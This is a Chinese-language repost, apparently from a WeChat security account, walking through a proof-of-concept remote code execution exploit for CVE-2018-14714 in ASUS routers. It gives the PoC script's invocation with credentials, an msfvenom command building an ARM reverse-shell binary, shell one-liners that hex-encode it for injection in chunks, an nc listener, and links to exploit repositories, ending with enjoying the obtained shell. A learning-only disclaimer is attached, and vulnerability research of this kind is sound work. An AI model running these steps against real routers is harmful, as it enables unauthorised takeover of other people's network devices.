CVE-2018-14714 RCE 漏洞
华硕 wifi 路由器 RCE 漏洞
本 PoC 仅供学习研究之用,请勿用于非法用途,如发生任何法律后果,责任自负。
这是在此PoC基础上修改代码后进行的测试,因为原来的PoC可能由于缺少root权限而失败。
https://github.com/sunn1day/CVE-2018-14714-POC
下面的演示中,测试的设备型号是华硕 RT-N18U,是我大学期间买的路由器,现在也是我的测试机了
漏洞 PoC
-
开发条件
-
可用于登录的账号和密码。
-
目标尚未更新至修复漏洞的版本(低于3.0.0.4.384.32738或3.0.0.4.384.45149版本)。
-
您需要安装依赖项:
$ python3 -m pip install requests
直接运行脚本获取使用说明。您可以运行以下命令来验证目标是否存在漏洞。
$ python3 CVE-2018-14714-RCE_PoC.py <target> <user> <password>
反向 Shell
您可以使用msfvenom命令生成轻量级的反向shell二进制可执行文件。您可以根据所使用的内核环境修改参数。在我的例子中,它是armv7l,命令如下:
$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf
初步步骤
将生成的二进制文件转换成二进制数据。
$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done
$ python3 -c 'a=input("binary data:");print("echo -ne "",end="");print(*[f"\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print(""")'
如何执行?
要确认目标上是否存在漏洞,请重新运行添加了 shell 参数的 Python 脚本以进入交互式伪 shell。请注意,如果命令没有产生任何输出,这是正常的,因为没有地方接收 stdout。但是,使用该sleep命令可以帮助您验证命令确实已执行。
另外,需要注意的是,根据测试,命令行最多允许 1022 个字符。您需要构造长度小于 1022 个字符的命令。因此,您需要手动拆分有效负载并分部分执行,以确保我们的命令成功运行。
-
接下来我们来获取一个真正的反向shell。你可以从监听指定的端口开始。
nc -lvnp 4444
-
执行Python PoC脚本,获取用于注入payload的伪shell。
python3 CVE-2018-14714-RCE_PoC.py admin admin shell
-
最后,剩下的就是享受你获得的反向shell了:)
https://github.com/BTtea/CVE-2018-14714-RCE_exploit
原文始发于微信公众号(Ots安全):华硕 wifi 路由器 RCE 漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论